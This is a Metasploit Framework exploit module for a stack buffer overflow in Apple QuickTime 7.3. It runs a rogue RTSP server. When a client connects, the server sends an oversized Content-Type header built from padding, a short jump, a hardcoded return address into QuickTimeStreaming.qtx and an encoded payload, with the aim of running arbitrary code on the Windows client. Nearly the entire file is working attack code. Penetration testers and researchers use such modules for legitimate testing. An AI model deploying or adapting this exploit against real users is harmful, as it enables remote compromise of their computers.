##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##



class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in Apple QuickTime 7.3. By sending an overly long
					RTSP response to a client, an attacker may be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[
					[ 'BID', '26549' ], 
					[ 'URL', 'http://milw0rm.com/exploits/4648' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 700,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 23 2007',
			'DefaultTarget'  => 0))

		register_options(
			[ 
				OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)	

		client.get_once

		buffer =  rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2) 
		buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

		strname = rand_text_alpha(rand(75) + 1)
		date    = Time.now
		num     = rand(1).to_s

		header =  "RTSP/1.0 200 OK\r\n"
		header << "CSeq: 1\r\n"
		header << "Date: #{date}\r\n"
		header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
		header << "Content-Type: #{buffer}\r\n" 
		header << "Content-Length: #{strname.length}\r\n\r\n"

		body =  "v=#{num}\r\n"
		body << "o=#{strname}\r\n"
		body << "s=#{strname}\r\n"
		body << "i=#{strname}\r\n"
		body << "t=#{num}\r\n"
		body << "a=tool:#{strname}\r\n"
		body << "a=type:#{strname}\r\n"
		body << "a=control:#{strname}\r\n"
		body << "a=range:#{strname}\r\n"
		body << "a=x-qt-text-nam:#{strname}\r\n"
		body << "a=x-qt-text-inf:#{strname}\r\n"
		body << "m=#{strname}\r\n"
		body << "c=#{strname}\r\n"
		body << "a=control:#{strname}\r\n"

		sploit = header + body
		
		print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

		client.put(sploit)
		handler(client)

		service.close_client(client)
	end

end